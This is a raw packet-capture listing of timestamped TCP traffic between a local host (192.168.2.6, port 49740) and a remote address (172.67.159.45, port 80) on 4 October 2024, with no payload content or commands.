Oct 4, 2024 04:28:05.239140034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.239164114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319186926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319202900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319214106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319230080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319246054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319256067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319259882 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319267988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319278002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319278955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319305897 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319329023 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319540024 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319559097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319569111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319612980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319664955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319675922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319684982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319695950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319705963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.319875956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319875956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.319875956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326375008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326386929 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326395988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326407909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326419115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326428890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326441050 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326476097 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326498985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326534033 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326545000 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326644897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326693058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326703072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326725006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326751947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326771021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326781988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326791048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326801062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326812029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326828003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326853037 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326894045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326905012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326914072 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326925039 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326936007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.326944113 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.326976061 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.327009916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327022076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327032089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327075005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.327840090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327955961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327966928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327981949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.327992916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328002930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328016996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328035116 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328058004 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328099012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328110933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328164101 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328197956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328248978 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328351021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328361988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328371048 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328382015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328392029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328430891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328468084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.328566074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328577995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.328618050 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329396009 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329407930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329417944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329427958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329440117 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329449892 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329461098 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329461098 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329471111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329482079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329492092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329502106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329504967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329511881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329523087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329530954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329533100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329544067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329555035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329555988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329566956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329577923 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329577923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329588890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329600096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329601049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329622984 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329647064 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329787016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329797983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329807997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329817057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329843998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329866886 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.329931021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329941988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329952955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329962969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329977989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329982996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329988956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.329998970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330002069 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330009937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330019951 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330030918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330032110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330040932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330050945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330059052 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330063105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330080032 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330101967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330342054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330353975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330363989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330374002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330384970 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330394983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330398083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330416918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330446005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330465078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330476999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330487013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330521107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330538988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330615044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330626011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330635071 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330646038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330656052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330667019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330667019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330677032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330687046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330702066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330710888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330713034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330724001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330729961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330735922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330780983 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.330899954 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330910921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.330959082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.331391096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331403017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331414938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331448078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.331461906 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.331470013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331480026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331490993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331502914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.331521034 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.331578970 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.411669016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411680937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411690950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411758900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411767006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.411770105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411778927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411789894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411799908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.411833048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.411854982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.412003994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412014008 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412024021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412036896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412055016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412065029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412075996 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412087917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.412087917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.412127018 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.412146091 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.412199974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.418718100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418728113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418744087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418754101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418762922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418772936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418776989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.418783903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418803930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.418848991 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.418888092 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419346094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419357061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419367075 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419409990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419426918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419437885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419446945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419456959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419465065 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419492006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419516087 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419562101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419576883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419586897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419596910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419605017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419612885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419622898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419632912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.419645071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.419682980 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420320988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420331001 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420341015 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420411110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420413017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420423985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420433998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420444965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420454979 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420502901 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420604944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420614958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420629025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420638084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420646906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420656919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420660973 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420666933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420676947 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420695066 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420732975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.420753956 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.420795918 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421080112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421089888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421129942 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421155930 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421166897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421175957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421200037 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421205044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421211004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421220064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421230078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421273947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421427965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421438932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421473026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421482086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421493053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421504974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421511889 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421561956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421576977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421587944 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421662092 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421731949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421775103 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421883106 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421892881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421902895 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421911955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421922922 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421932936 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421933889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421945095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421955109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421972036 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.421983957 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.421998978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422008038 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422010899 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422020912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422030926 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422034979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422081947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422198057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422209978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422219992 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422230959 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422241926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422243118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422250986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422261000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422274113 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422282934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422288895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422305107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422333956 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422358036 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422380924 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422393084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422403097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422415018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422424078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422435045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422475100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422475100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422586918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422596931 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422605991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422616005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422626019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422636986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422642946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.422648907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.422660112 CEST	80	49740	172.67.159.45	192.168.2.6
